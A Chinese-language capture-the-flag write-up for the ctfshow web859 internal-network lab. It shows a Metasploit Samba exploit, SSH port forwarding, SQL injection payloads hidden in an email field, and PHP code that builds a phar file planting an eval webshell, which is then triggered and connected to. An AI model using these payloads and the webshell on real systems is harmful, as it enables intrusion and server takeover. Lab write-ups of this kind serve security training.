ctfshow web入门 内网渗透篇

web859

首先ssh连接上之后传个fscan上去,扫描下内网靶机
发现.5和.6的比较可疑。
一个存在web服务,一个存在445端口。
ctfshow web入门 内网渗透篇_第1张图片

先看下445端口,靶机给我们提供了msf,所以直接用msf打下Samba

msfconsole
use exploit/linux/samba/is_known_pipename
set rhost x.x.x.x
exploit 

拿下之后就有flag了
在这里插入图片描述
再来看下另外一台靶机,因为存在web服务,但是又不能出网所以通过ssh端口映射到本地来

ssh -L 8085:172.2.107.5:80 [email protected] -p 28146

接着访问本地的8085就可以了。
ctfshow web入门 内网渗透篇_第2张图片
在如图所示位置存在源码泄露,可以在gitee上下载下来。
接着就是代码审计了。首先在登录函数中存在doFilter对传入的用户名密码进行过滤,所以很难去注入。不过在dorest中貌似可以。
ctfshow web入门 内网渗透篇_第3张图片
没有使用doFilter函数过滤,只是要求了我们传入的参数需要符合email格式。
我们可以通过构造恶意的邮箱来达到注入的目的

email='union/**/select/**/username/**/from/**/user#@qq.com&username=123
email='union/**/select/**/password/**/from/**/user#@qq.com&username=123

可以得到用户名密码分别为ctfshow ctfshase????
登录成功后页面存在文件上传功能
ctfshow web入门 内网渗透篇_第4张图片
这个框架应该是没啥问题的,那我们在回过头来看看源码。
在api/index.php中存在一个写文件的功能,假如可以控制$mail的值,就可以写入一个木马进去。
ctfshow web入门 内网渗透篇_第5张图片
再来看哪里调用了sendResetMail
ctfshow web入门 内网渗透篇_第6张图片ctfshow web入门 内网渗透篇_第7张图片
起始调用点是__wakeup,但是没有给反序列化点怎么办呢?
没错,可以用phar,毕竟我们还有个文件上传的功能,后面需要做的就是这么触发phar。
在下面这个地方
ctfshow web入门 内网渗透篇_第8张图片
$file是我们完全可控的。
需要的点都具备了,后面就是生成phar文件了



class action{
	private $email="'.eval(\$_POST[1]));//";
}
$a = new action();

$phar = new Phar("yu22x.phar");
$phar->startBuffering();
$phar->setStub(file_get_contents('a.png')."");
$phar-> addFromString('test.txt','yu22x');
$phar->setMetadata($a);
$phar->stopBuffering();

上面用到的a.png随便找个真的png就可以了。
生成之后把后缀改成png上传

ctfshow web入门 内网渗透篇_第9张图片
比如上图所示图片就在ckfinder/userfiles/images/yu22x.png目录下。
接着通过phar伪协议触发。

api/index.php?a=view
file=phar:///var/www/html/ckfinder/userfiles/images/yu22x.png

成功之后蚁剑连接http://127.0.0.1:8085/mail_cache/cache.php即可。

后面又是上面fsan扫描,但其实没什么东西了。

你可能感兴趣的:(php,ctf)